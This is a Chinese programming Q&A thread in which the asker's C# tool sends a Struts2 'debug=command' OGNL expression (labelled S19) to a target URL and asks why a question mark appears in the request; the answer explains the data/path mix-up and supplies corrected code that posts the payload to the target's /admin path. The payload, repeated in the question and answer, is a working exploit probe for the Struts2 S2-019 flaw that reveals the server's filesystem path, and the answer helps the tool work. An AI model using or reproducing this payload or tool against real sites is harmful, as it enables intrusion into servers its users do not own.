backerhack 2015-02-14 02:56 采纳率: 50%
浏览 1863
已采纳

c# HttpWebRequest 为什么会给URL自动加?号

        public String getHtml(String url, String data, String htmlEncode)
        {
            try
            {
                //设置模拟http访问参数
                Uri uri = new Uri(url);
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
                request.UserAgent = "Mozilla/5.0";
                request.Accept = "*/*";
                request.Method = "POST";
                request.Timeout = 40000;
                request.KeepAlive = true;
                request.AllowAutoRedirect = true;
                request.ContentType = "application/x-www-form-urlencoded";
                if (!"".Equals(this.txt_cookie.Text))
                {
                    request.Headers.Add("Cookie", this.txt_cookie.Text);
                }

                Byte[] b = Encoding.ASCII.GetBytes(data);
                request.ContentLength = b.Length;
                Stream stream = request.GetRequestStream();

                stream.Write(b, 0, b.Length);
                stream.Close();
                StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream(), Encoding.GetEncoding(htmlEncode));
                String html = sr.ReadToEnd().Replace("\n","\r\n");
                return html;

            }
            catch (Exception e)
            {
                loginfo(e.Message);
                //MessageBox.Show(e.Message);
            }
            return "";
        }
        public void getInfo() {
            loginfo("正在获取Web信息,请稍等片刻........");
            String exp = "/admin";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text, exp, "UTF-8");
            this.txt_info.Text = html;

如果txt_url.Text为http://www.1.com/ String exp的内容问 /admin

程序会访问的地址则是http://www.1.com/?admin

我想知道这个?号是哪里来的。。。 能不能取消掉。。0 0。。 嘿嘿

  • 写回答

1条回答 默认 最新

  • save4me 2015-02-15 01:53
    关注

    你看看你的getHtml函数的第二个参数是什么,是提交表单的数据,你使用String html = getHtml(this.txt_url.Text, exp, "UTF-8");调用,自然把String exp = "/admin";作为表单数据,而不是请求路径了。路径是第一个参数。
    你的exp变量和"/admin"到底是想传递什么?如果你是想把 exp = "debug=command&expression...这些数据提交到网站的/admin去,那么

            public void getInfo() {
                loginfo("正在获取Web信息,请稍等片刻........");
                String path = "/admin";
                            String exp = "";
                if (this.radb_s19.Checked)
                {
    
                    exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
                }
    
                String html = getHtml(this.txt_url.Text + path, exp, "UTF-8");
                this.txt_info.Text = html;
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 VB.NET2022如何生成发布成exe文件
  • ¥30 matlab appdesigner私有函数嵌套整合
  • ¥15 给我一个openharmony跑通webrtc实现视频会议的简单demo项目,sdk为12
  • ¥15 vb6.0使用jmail接收smtp邮件并另存附件到D盘
  • ¥30 vb net 使用 sendMessage 如何输入鼠标坐标
  • ¥15 关于freesurfer使用freeview可视化的问题
  • ¥100 谁能在荣耀自带系统MagicOS版本下,隐藏手机桌面图标?
  • ¥15 求SC-LIWC词典!
  • ¥20 有关esp8266连接阿里云
  • ¥15 C# 调用Bartender打印机打印